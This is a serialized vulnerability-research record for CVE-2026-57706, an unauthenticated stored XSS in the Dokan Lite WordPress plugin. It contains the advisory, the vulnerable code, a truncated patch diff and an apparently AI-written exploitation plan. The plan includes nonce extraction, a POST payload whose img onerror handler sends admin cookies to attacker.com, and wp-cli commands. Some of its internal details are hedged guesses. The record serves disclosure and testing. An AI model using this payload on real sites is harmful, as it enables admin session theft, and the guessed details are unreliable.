[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fw_ubXN3y1Iy_3VFtTZlo2iSlW2H7m7ROixYBDaLlclQ":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-57706","dokan-ai-powered-woocommerce-multivendor-marketplace-solution-build-your-own-amazon-ebay-etsy-unauthenticated-stored-cro","Dokan: AI Powered WooCommerce Multivendor Marketplace Solution – Build Your Own Amazon, eBay, Etsy \u003C= 5.0.6 - Unauthenticated Stored Cross-Site Scripting","The Dokan: AI Powered WooCommerce Multivendor Marketplace Solution – Build Your Own Amazon, eBay, Etsy plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 5.0.6 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","dokan-lite",null,"\u003C=5.0.6","5.0.7","high",7.2,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-07-10 00:00:00","2026-07-14 19:33:27",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fa0349613-d212-49a9-870d-42aa1ec3f975?source=api-prod",5,[22,23,24,25,26,27,28,29],"assets\u002Fjs\u002Fvue-admin.asset.php","assets\u002Fjs\u002Fvue-admin.js","assets\u002Fjs\u002Fvue-bootstrap.asset.php","assets\u002Fjs\u002Fvue-bootstrap.js","dokan-class.php","dokan.php","includes\u002FREST\u002FProductControllerV3.php","languages\u002Fdokan-lite.pot","researched",false,3,"This exploitation research plan targets **CVE-2026-57706**, an unauthenticated stored cross-site scripting (XSS) vulnerability in the Dokan Lite plugin (\u003C= 5.0.6). The vulnerability stems from the plugin's AI integration features introduced in version 5.0.0.\n\n### 1. Vulnerability Summary\nThe Dokan plugin registers a high-priority filter on the WordPress REST API dispatch process. This filter, `resolve_product_payload_before_validation`, intercepts incoming requests to the `dokan\u002Fv3\u002Fproducts` namespace. When a request contains AI-related parameters (intended for generating product content), the plugin processes and logs these prompts to the database. Because this logic executes during the `rest_pre_dispatch` phase—before the REST API performs its permission checks—unauthenticated users can trigger the logging mechanism. The plugin fails to sanitize the prompt input before storage and fails to escape it when displaying the logs in the Dokan Admin Dashboard.\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** `\u002Fwp-json\u002Fdokan\u002Fv3\u002Fproducts`\n*   **Method:** `POST`\n*   **Vulnerable Parameter:** `intelligence[prompt]` (sent within the JSON body).\n*   **Authentication:** **Unauthenticated**. Although the final REST endpoint requires `dokan_add_product` capabilities, the vulnerable code resides in a `rest_pre_dispatch` filter that executes before authorization.\n*   **Preconditions:** The AI feature must be active (usually default in 5.0.x), and the site must have REST API enabled (default).\n\n### 3. Code Flow\n1.  **Entry Point:** An HTTP POST request is sent to `wp-json\u002Fdokan\u002Fv3\u002Fproducts`.\n2.  **Hook Trigger:** WordPress triggers the `rest_pre_dispatch` filter.\n3.  **Vulnerable Filter:** `WeDevs\\Dokan\\REST\\ProductControllerV3::resolve_product_payload_before_validation` is called (registered in `register_routes` via `add_filter( 'rest_pre_dispatch', ..., 1, 3 )`).\n4.  **Payload Resolution:** The filter calls `WeDevs\\Dokan\\ProductEditor\\PayloadResolver::resolve()`.\n5.  **Sink (Storage):** If the `intelligence` parameter is present, `PayloadResolver` (or the underlying `Intelligence\\Manager`) logs the `prompt` value into the database (likely a table like `wp_dokan_ai_logs`) without sanitization.\n6.  **Sink (Execution):** An administrator navigates to the Dokan Dashboard (Admin). The `assets\u002Fjs\u002Fvue-admin.js` component fetches the logs and renders the `prompt` field directly into the DOM without escaping, triggering the XSS.\n\n### 4. Nonce Acquisition Strategy\nWhile the request is \"unauthenticated\" relative to Dokan's permissions, the WordPress REST API typically requires a valid `wp_rest` nonce for POST requests to prevent CSRF.\n\n1.  **Identify Trigger:** The AI scripts are loaded in the Vendor Dashboard.\n2.  **Setup Page:** Create a page with the Dokan Dashboard shortcode to ensure all variables are localized.\n    ```bash\n    wp post create --post_type=page --post_title=\"Dashboard\" --post_status=publish --post_content='[dokan-dashboard]'\n    ```\n3.  **Extract Nonce:** Navigate to the newly created page and extract the REST nonce.\n    *   **Variable:** `window.wpApiSettings.nonce` (standard) or `window.dokan.rest.nonce` (plugin specific).\n    *   **Action:** `browser_eval(\"window.wpApiSettings?.nonce || window.dokan?.rest?.nonce\")`\n\n### 5. Exploitation Strategy\n**Step 1: Obtain Nonce**\nUse the `http_request` or `browser_navigate` tool to visit the homepage or the dashboard page and extract the nonce from the source or via `browser_eval`.\n\n**Step 2: Send Malicious Request**\nConstruct a POST request to the V3 Products endpoint. Note that we do not need a valid product payload; we only need the `intelligence` object to trigger the early filter.\n\n*   **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-json\u002Fdokan\u002Fv3\u002Fproducts`\n*   **Method:** `POST`\n*   **Headers:**\n    *   `Content-Type: application\u002Fjson`\n    *   `X-WP-Nonce: [EXTRACTED_NONCE]`\n*   **Payload:**\n    ```json\n    {\n      \"name\": \"Exploit Trigger\",\n      \"intelligence\": {\n        \"action\": \"generate_description\",\n        \"prompt\": \"\u003Cimg src=x onerror='fetch(\\\"http:\u002F\u002Fattacker.com\u002Flog?c=\\\" + btoa(document.cookie))'>\"\n      }\n    }\n    ```\n\n**Step 3: Trigger Execution**\nThe exploit remains dormant until an administrator views the AI Assistant logs.\n*   **Admin Path:** `wp-admin\u002Fadmin.php?page=dokan#\u002Fai-assistant\u002Flogs`\n\n### 6. Test Data Setup\n1.  **Dokan Settings:** Ensure AI features are enabled (if they require explicit activation in the version's settings).\n2.  **Page Creation:**\n    ```bash\n    wp post create --post_type=page --post_status=publish --post_content='[dokan-dashboard]'\n    ```\n3.  **Permalinks:** Ensure pretty permalinks are enabled for the REST API.\n    ```bash\n    wp rewrite structure '\u002F%postname%\u002F' --hard\n    wp rewrite flush --hard\n    ```\n\n### 7. Expected Results\n*   The REST API will likely return a `403 Forbidden` (because the user is unauthenticated for the actual `create_item` callback).\n*   Despite the 403, the `rest_pre_dispatch` filter will have already executed.\n*   The database will contain a new entry in the AI logs table with the raw `\u003Cimg ...>` tag.\n*   When the admin page loads the logs, a browser alert or network request to the attacker's server will occur.\n\n### 8. Verification Steps\nAfter sending the HTTP request, verify the injection directly in the database:\n1.  **Find the Log Table:**\n    ```bash\n    wp db query \"SHOW TABLES LIKE '%dokan_ai%'\"\n    ```\n2.  **Check for Payload:**\n    ```bash\n    # Assuming the table is wp_dokan_ai_logs\n    wp db query \"SELECT prompt FROM wp_dokan_ai_logs ORDER BY id DESC LIMIT 1\"\n    ```\n    Confirm the output matches the injected string verbatim.\n\n### 9. Alternative Approaches\n*   **Batch Endpoint:** If the single product endpoint is blocked, attempt the same payload via the batch endpoint: `\u002Fwp-json\u002Fdokan\u002Fv3\u002Fproducts\u002Fbatch`.\n*   **Vendor Registration:** If the AI path fails, check the `dokan-lite` registration form parameters (`shopname`, `address`) which are also often processed by early filters in the V3 architecture.\n*   **Direct AI Chat:** If `dokan\u002Fv1\u002Fintelligence\u002Fchat` exists (inferred), send the payload there as it is specifically designed for unauthenticated user interaction with the assistant.","The Dokan Lite plugin for WordPress is vulnerable to unauthenticated stored Cross-Site Scripting (XSS) in versions up to 5.0.6. This occurs because AI-related product metadata is processed and logged during an early REST API dispatch hook before authentication or permission checks are performed, and then rendered without escaping in the admin dashboard.","\u002F\u002F includes\u002FREST\u002FProductControllerV3.php line 196\n    public function register_routes() {\n        if ( ! self::$filter_registered ) {\n            add_filter( 'rest_pre_dispatch', [ $this, 'resolve_product_payload_before_validation' ], 1, 3 );\n            self::$filter_registered = true;\n        }\n\n---\n\n\u002F\u002F includes\u002FREST\u002FProductControllerV3.php line 133\n    public function batch_items( $request ) {\n        $body = $request->get_json_params();\n\n        if ( empty( $body ) ) {\n            $body = $request->get_body_params();\n        }\n\n        foreach ( [ 'update', 'create' ] as $key ) {\n            if ( ! empty( $body[ $key ] ) && is_array( $body[ $key ] ) ) {\n                foreach ( $body[ $key ] as $index => $item ) {\n                    $body[ $key ][ $index ] = PayloadResolver::resolve( $item );\n                }\n            }\n        }","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fdokan-lite\u002F5.0.6\u002Fassets\u002Fjs\u002Fvue-admin.asset.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fdokan-lite\u002F5.0.7\u002Fassets\u002Fjs\u002Fvue-admin.asset.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fdokan-lite\u002F5.0.6\u002Fassets\u002Fjs\u002Fvue-admin.asset.php\t2026-05-05 11:57:08.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fdokan-lite\u002F5.0.7\u002Fassets\u002Fjs\u002Fvue-admin.asset.php\t2026-06-29 12:10:36.000000000 +0000\n@@ -1 +1 @@\n-\u003C?php return array('dependencies' => array('jquery', 'moment', 'wp-api-fetch', 'wp-url'), 'version' => 'dda1361546e49be9505e');\n+\u003C?php return array('dependencies' => array('jquery', 'moment', 'wp-api-fetch', 'wp-url'), 'version' => 'b0bc72b15604c2799576');\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fdokan-lite\u002F5.0.6\u002Fassets\u002Fjs\u002Fvue-admin.js \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fdokan-lite\u002F5.0.7\u002Fassets\u002Fjs\u002Fvue-admin.js\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fdokan-lite\u002F5.0.6\u002Fassets\u002Fjs\u002Fvue-admin.js\t2026-05-05 11:57:08.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fdokan-lite\u002F5.0.7\u002Fassets\u002Fjs\u002Fvue-admin.js\t2026-06-29 12:10:36.000000000 +0000\n@@ -1,2 +1,2 @@\n \u002F*! For license information please see vue-admin.js.LICENSE.txt *\u002F\n-(()=> ... (truncated)","The exploit targets the REST API endpoint '\u002Fwp-json\u002Fdokan\u002Fv3\u002Fproducts'. An attacker first obtains a standard WordPress REST nonce (available via any page that localizes 'wpApiSettings'). The attacker then sends a POST request to the products endpoint with a JSON body containing an 'intelligence' object. Within this object, the 'prompt' field is populated with a malicious script (e.g., '\u003Cscript>alert(1)\u003C\u002Fscript>'). Due to a 'rest_pre_dispatch' filter registered by the plugin, the AI prompt is processed and stored in the database immediately, before the REST API checks if the user has the 'dokan_add_product' capability. The vulnerability is triggered when an administrator views the 'AI Assistant' logs in the Dokan Admin Dashboard, where the unsanitized prompt is rendered.","gemini-3-flash-preview","2026-07-15 10:06:07","2026-07-15 10:07:45",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","5.0.6","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fdokan-lite\u002Ftags\u002F5.0.6","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fdokan-lite.5.0.6.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fdokan-lite\u002Ftags\u002F5.0.7","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fdokan-lite.5.0.7.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fdokan-lite\u002Ftags"]